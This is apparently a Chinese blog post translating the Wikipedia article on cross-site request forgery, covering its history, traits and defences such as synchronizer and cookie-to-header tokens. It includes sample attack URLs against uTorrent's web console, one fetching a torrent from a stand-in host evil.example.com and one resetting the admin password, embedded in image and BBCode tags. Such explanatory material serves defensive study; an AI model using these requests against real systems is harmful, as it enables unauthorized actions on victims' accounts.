前端必備HTTP技能之跨站請(qǐng)求偽造(CSRF)技術(shù)詳解

跨站請(qǐng)求偽造也被成為單擊攻擊或者會(huì)話疊置,簡(jiǎn)稱CSRF或者XSRF。是一種惡意利用從網(wǎng)站信任用戶獲取未授權(quán)命令的行為。和跨站腳本(XSS)不同,XSS利用的是特定站點(diǎn)信任的用戶,而CSRF利用的是用戶瀏覽器中信任的站點(diǎn)。

歷史
CSRF漏洞從2001年開始被人知道并在某些情況下被人利用。因?yàn)樗窃谟脩鬒P地址之外執(zhí)行的,一些站點(diǎn)日志可能沒有記錄CSRF的證據(jù),所以這種漏洞極少被公開報(bào)道過,直到2007年,才有一些證據(jù)確鑿的例子:

  • 在線銀行[ING Direct](ING Group)的web應(yīng)用遭受CSRF攻擊,允許非法轉(zhuǎn)賬。
  • 知名的視頻網(wǎng)站YouTube2008年也遭受過CSRF攻擊,允許攻擊者幾乎可以執(zhí)行任何用戶操作。
  • 2008年年初墨西哥的一個(gè)銀行客戶被email中的圖片tag攻擊。圖片tag中的鏈接改變了銀行ADSL路由上的DNS條目,指向了一個(gè)惡意的冒充銀行網(wǎng)站。
  • McAfee被CSRF攻擊,允許攻擊者更改他們公司的電腦系統(tǒng)。

示例和特征
如果攻擊者可以找到一個(gè)可復(fù)制的鏈接,當(dāng)受害者登陸的時(shí)候,在目標(biāo)頁面執(zhí)行特定的動(dòng)作,他們就可以在他們控制的頁面嵌入這些鏈接,誘使受害者打開這些鏈接。攻擊者可能會(huì)把鏈接放在受害者登陸站點(diǎn)時(shí)既有可能訪問的地方,或者在郵件體內(nèi),郵件附件里面。uTorrent曾發(fā)現(xiàn)過一個(gè)真實(shí)的CSRF漏洞,它的web控制臺(tái)允許通過localhost:8080訪問,可以通過簡(jiǎn)單的get請(qǐng)求執(zhí)行一些關(guān)鍵任務(wù):
強(qiáng)制下載一個(gè).torrent文件
http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
修改uTorrent的管理員密碼
http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin

攻擊者可以把惡意自動(dòng)執(zhí)行代碼放到論壇的image標(biāo)簽中或者垃圾郵件中,當(dāng)用戶打開瀏覽器訪問這些頁面時(shí),會(huì)自動(dòng)執(zhí)行惡意代碼。如果用戶使用的是容易被攻擊的uTorrent版本,那么在打開這些帶有惡意代碼的頁面時(shí),就很容易受到攻擊。
![](http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent)

CSRF攻擊使用image標(biāo)簽偽造主要來自網(wǎng)絡(luò)論壇,因?yàn)檎搲试S上傳圖片,但不支持js,例如可以使用BBCode:
[img]http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent[/img]

當(dāng)攻擊連接執(zhí)行example.com時(shí),瀏覽器可以自動(dòng)發(fā)送example.com域下存在的任何cookies到服務(wù)端,當(dāng)攻擊發(fā)生時(shí),用戶已經(jīng)登錄了這個(gè)網(wǎng)站,此時(shí)CSRF攻擊就可以利用特定漏洞,執(zhí)行特殊行為。

CSRF是利用瀏覽器發(fā)起的代理人攻擊。

以下是CSRF常用特征:

  • 涉及網(wǎng)站依賴用戶身份認(rèn)證
  • 利用身份認(rèn)證獲取網(wǎng)站信任
  • 欺騙用戶瀏覽器發(fā)送HTTP請(qǐng)求到目標(biāo)站點(diǎn)
  • 涉及的HTTP請(qǐng)求都有副作用

web應(yīng)用程序的風(fēng)險(xiǎn)就是執(zhí)行行為是基于信任和授權(quán)的用戶輸入,而不需要用戶授權(quán)特殊的行為。一個(gè)通過瀏覽器cookie授權(quán)的用戶可能會(huì)不知覺的發(fā)送HTTP請(qǐng)求到信任該用戶的網(wǎng)站,然后引起不知情的行為。

在上面的例子中,uTorrent的web接口支持GET請(qǐng)求進(jìn)行臨界狀態(tài)改變操作(修改證書,下載文件等)促進(jìn)了攻擊,GET請(qǐng)求改變狀態(tài)這種行為在RFC16規(guī)范中是不推薦的:

GET和HEAD方法不應(yīng)該有其它行為除了用來獲取數(shù)據(jù),這些方法應(yīng)該被認(rèn)為是安全的。允許用戶代理使用其它方法,例如POST,PUT和DELETE,這樣用戶才能清楚的知道這個(gè)請(qǐng)求是一個(gè)不安全的行為。

根據(jù)這個(gè)假定,許多存在CSRF防御機(jī)制的web框架將不會(huì)支持GET請(qǐng)求,但是不是僅通過HTTP方法,更多的是關(guān)注狀態(tài)的改變。

偽造登陸請(qǐng)求
攻擊者可以偽造請(qǐng)求利用攻擊者的認(rèn)證登陸目標(biāo)站點(diǎn),這也成為CSRF登陸。CSRF登陸制造了多種新奇的攻擊可能,例如,攻擊者可以稍后利用他自己的有效憑證登陸站點(diǎn),瀏覽保存在賬號(hào)中的活動(dòng)頁面上的隱私信息。

HTTP方法和CSRF
不同的HTTP請(qǐng)求方法有不同難易程度的CSRF攻擊,也需要不同等級(jí)的防護(hù)措施,因?yàn)闉g覽器處理不同請(qǐng)求方法的方式不同。

  • 使用HTTP GET方法進(jìn)行CSRF攻擊是很容易的,使用上文提到的方法,例如一個(gè)簡(jiǎn)單的包含多個(gè)參數(shù)的超鏈接,利用image標(biāo)簽自動(dòng)加載。然而根據(jù)HTTP規(guī)范,GET方法應(yīng)該是一個(gè)安全方法,不能明顯的用于更改用戶狀態(tài)。應(yīng)用如果需要這種操作應(yīng)該使用HTTP POST方法或者使用反CSRF保護(hù)。
  • HTTP POST方法對(duì)CSRF也有不同難易程度的攻擊方法,主要依賴詳細(xì)的使用場(chǎng)景:
    1.對(duì)于簡(jiǎn)單的將POST數(shù)據(jù)編碼為查詢字符串的方式,使用HTML表單進(jìn)行CSRF攻擊是十分簡(jiǎn)單的,這時(shí)必須使用反CSRF的防護(hù)措施;
    2. 如果數(shù)據(jù)以其他格式(JSON,XML)發(fā)送,一個(gè)標(biāo)準(zhǔn)的方法是使用XMLHttpRequest進(jìn)行的POST的請(qǐng)求,這種方式同源策略和跨站資源共享可以阻止CSRF攻擊;有一種技術(shù)可以利用一個(gè)簡(jiǎn)單的HTML表單發(fā)送任意內(nèi)容,那就是使用ENCTYPE屬性;這樣可以利用text/plain內(nèi)容屬性區(qū)分偽造的請(qǐng)求和合法的請(qǐng)求,但是如果服務(wù)器沒有強(qiáng)制這種機(jī)制,CSRF攻擊仍會(huì)發(fā)生。
  • 其他的HTTP方法(PUT,DELETE等)可以只通過使用XMLHttpRequest的同源策略和跨站資源共享阻止CSRF攻擊,但是一旦站點(diǎn)設(shè)置了Access-Control-Allow-Origin: *頭,這種方法就沒用了。

CSRF的局限性
成功的CSRF需要一些前提條件:

  • 1.攻擊者的目標(biāo)站點(diǎn)不能有檢查referrer頭的操作,或者被攻擊者的瀏覽器允許referrer欺騙
  • 2.攻擊者必須在目標(biāo)站點(diǎn)找到一個(gè)表單提交入口,或者有類似作用的URL(例如可以用來轉(zhuǎn)移錢,修改受害者郵件地址或者密碼)。
  • 3.攻擊者必須決定所有表單或者URL參數(shù)中正確的值;如果存在秘密的身份驗(yàn)證值或者ID,攻擊者沒有猜到話,攻擊有很大可能不會(huì)成功(除非攻擊者足夠幸運(yùn),什么都猜對(duì))。
  • 4.攻擊者必須誘使受害者訪問有惡意代碼的頁面,并且此時(shí)受害者已經(jīng)登錄到目標(biāo)站點(diǎn)。

注意CSRF攻擊是盲目的,攻擊者不知道目標(biāo)站點(diǎn)會(huì)給受害者的偽造請(qǐng)求返回何種響應(yīng),除非攻擊者可以利用跨站腳本或者目標(biāo)站點(diǎn)的其他缺陷。同樣的,如果后續(xù)的鏈接或者表單同樣是可以預(yù)測(cè)的,那么攻擊可以把任意最初請(qǐng)求之后的鏈接或者表單當(dāng)成目標(biāo)(多個(gè)目標(biāo)可以通過在一個(gè)頁面包含多個(gè)image來模擬或者使用js增加點(diǎn)擊之間的延遲)。

由于上面的這些限制,攻擊者可能很難找到登錄的受害者或者可以攻擊的表單提交。從另一方面來說,攻擊嘗試對(duì)受害者來說很容易實(shí)施并且不可見,程序設(shè)計(jì)者可能對(duì)CSRF攻擊不太熟悉,也沒有做好準(zhǔn)備相比于密碼破解字典攻擊。

預(yù)防措施
大多數(shù)CSRF預(yù)防技術(shù)都是通過在請(qǐng)求中加入驗(yàn)證數(shù)據(jù)來區(qū)分請(qǐng)求是否來自未授權(quán)位置。

同步token模式

這種技術(shù)就是為每個(gè)請(qǐng)求生成一個(gè)私密的唯一的token,web程序會(huì)在所有的表單中嵌入這個(gè)token,然后在服務(wù)端驗(yàn)證。token可以用任何方法創(chuàng)建,但是要確保不可預(yù)測(cè)和唯一性。這樣的話攻擊者就不能再他們的請(qǐng)求中使用一個(gè)正確的token來驗(yàn)證請(qǐng)求的合法性。

Django框架在html表單中使用的一個(gè)例子:
<input type="hidden" name="csrfmiddlewaretoken" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" />

由于只依賴HTML,所以這種方法是最具兼容性的,但是也給服務(wù)端帶來了一定的復(fù)雜度,因?yàn)榉?wù)端要承擔(dān)校驗(yàn)每個(gè)請(qǐng)求的token以確定請(qǐng)求有效性的任務(wù)。token是唯一且不可預(yù)測(cè)的,還需要執(zhí)行適當(dāng)?shù)氖录蛄?,帶了可用性問題??梢酝ㄟ^使用session CSRF token來代替使用每個(gè)請(qǐng)求的CSRF token來降低復(fù)雜度。同時(shí),很難讓web應(yīng)用大量使用AJAX。

Cookie-to-Header Token

web應(yīng)用使用js來進(jìn)行大量的操作,可以依賴同源策略使用反CSRF技術(shù):

  • 在登錄的時(shí)候,web應(yīng)用把一個(gè)隨機(jī)的token塞到cookie中,并且把同樣的token保存在整個(gè)用戶session中;
    Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expires=Thu, 23-Jul-2015 10:25:33 GMT; Max-Age=31449600; Path=/
  • 客戶端的js讀取到cookie中的token值,把它放在每個(gè)事務(wù)請(qǐng)求頭中;
    X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
  • 服務(wù)端驗(yàn)證token的完整性;

這種技術(shù)的安全性主要依賴于只有同源下的js才能訪問到cookie值這樣的假定。流氓文件和email中的js不能讀取cookie,然后把cookie中的token放到header中,盡管cookie中的csrf-token會(huì)隨偽造請(qǐng)求一起發(fā)送,但是服務(wù)端仍然會(huì)檢查請(qǐng)求頭中是否有有效的X-Csrf-Token。

CSRF token應(yīng)該是唯一的和不可預(yù)測(cè)的。它可以隨機(jī)產(chǎn)生,或者利用HMAC算法根據(jù)session token派生出來。
csrf_token = HMAC(session_token, application_secret)

cookie中的CSRF token設(shè)計(jì)的時(shí)候,必須可以被js讀取到。

這項(xiàng)技術(shù)已經(jīng)被許多現(xiàn)代框架實(shí)現(xiàn),例如DjangoAngularJS。因?yàn)閠oken在整個(gè)用戶會(huì)話期間保持一致,所以在ajax應(yīng)用中也可以很好的工作,但是不會(huì)執(zhí)行web應(yīng)用中的事件序列。

客戶端安全措施

瀏覽器插件例如Firefox的RequestPolicy插件,或者Chrome,F(xiàn)irefox的uMatrix插件,都可以通過提供一個(gè)默認(rèn)禁止跨站請(qǐng)求策略來阻止CSRF。然而,當(dāng)時(shí)這樣可能顯著的影響了一些站點(diǎn)的正常操作。Firefox的CsFire插件通過移除跨站請(qǐng)求中身份驗(yàn)證信息的方式,可以緩解CSRF的影響,同時(shí)最低限度影響正常瀏覽。

Firefox的NoScript插件也可以減輕CSRF的威脅通過下面的方式:區(qū)分可信和不可信站點(diǎn);移除授權(quán)信息;負(fù)載不信任站點(diǎn)發(fā)往信任站點(diǎn)的POST請(qǐng)求。NoScript中Application Boundary Enforcer模塊可以阻止網(wǎng)頁發(fā)往本地站點(diǎn)(localhost)的請(qǐng)求,阻止本地服務(wù)的CSRF,例如上文提到的uTorrent漏洞。

Firefox的cookie自我銷毀插件不會(huì)直接阻止CSRF,但是可以減少攻擊窗口,通過用戶切換tab頁時(shí)立即刪除tab頁cookie的方式。

其他技術(shù)

歷史上使用過的或提出的各種其他阻止CSRF的技術(shù):

  • 驗(yàn)證請(qǐng)求頭中是否包含X-Requested-With,或者檢查HTTP的Referer頭或者Origin頭。然而這種方式也是不安全的 —— 利用瀏覽器插件和重定向就可以讓攻擊者在請(qǐng)求中添加自定義的HTTP頭,然后就可以允許跨域請(qǐng)求了。
  • 對(duì)于嵌入式網(wǎng)絡(luò)設(shè)備來說通過檢查HTTP的Referer頭的方式來確定請(qǐng)求是否來自授權(quán)頁面是一種常用方法,因?yàn)檫@樣不會(huì)增加內(nèi)存需要。然后一個(gè)請(qǐng)求如果省略了Referer頭,會(huì)被當(dāng)成未授權(quán)的,因?yàn)楣粽呖梢云帘?code>Referer頭,然后通過FTP或者HTTPS發(fā)送請(qǐng)求。這種嚴(yán)格的Referer檢查可能會(huì)導(dǎo)致一個(gè)問題就是瀏覽器或者代理由于隱私原因忽略Referer頭。舊版本的Flash允許惡意Flash利用CRLF Injection生成任意HTTP頭的GET或者POST請(qǐng)求??蛻舳说腃RLF Injection漏洞可以被用來欺騙HTTP請(qǐng)求中的Referer頭。
  • 利用URL參數(shù)的POST請(qǐng)求一段時(shí)間以來被當(dāng)做是預(yù)防輕微CSRF攻擊的方法。然而,如今POST和其他HTTP方法都可以利用XMLHttpRequest執(zhí)行。

跨站腳本漏洞允許攻擊者繞過大多數(shù)CSRF防御措施,但是帶有附件認(rèn)證信息和驗(yàn)證碼驗(yàn)證的方法仍然是有效的。

做好前端開發(fā)必須對(duì)HTTP的相關(guān)知識(shí)有所了解,所以我創(chuàng)建了一個(gè)專題前端必備HTTP技能專門收集前端相關(guān)的HTTP知識(shí),歡迎關(guān)注,投稿。


PS:本文翻譯自維基百科,原文地址https://en.wikipedia.org/wiki/Cross-site_request_forgery

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 228,461評(píng)論 6 532
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 98,538評(píng)論 3 417
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 176,423評(píng)論 0 375
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)。 經(jīng)常有香客問我,道長(zhǎng),這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 62,991評(píng)論 1 312
  • 正文 為了忘掉前任,我火速辦了婚禮,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 71,761評(píng)論 6 410
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 55,207評(píng)論 1 324
  • 那天,我揣著相機(jī)與錄音,去河邊找鬼。 笑死,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,268評(píng)論 3 441
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 42,419評(píng)論 0 288
  • 序言:老撾萬榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 48,959評(píng)論 1 335
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 40,782評(píng)論 3 354
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 42,983評(píng)論 1 369
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,528評(píng)論 5 359
  • 正文 年R本政府宣布,位于F島的核電站,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 44,222評(píng)論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,653評(píng)論 0 26
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,901評(píng)論 1 286
  • 我被黑心中介騙來泰國(guó)打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 51,678評(píng)論 3 392
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 47,978評(píng)論 2 374

推薦閱讀更多精彩內(nèi)容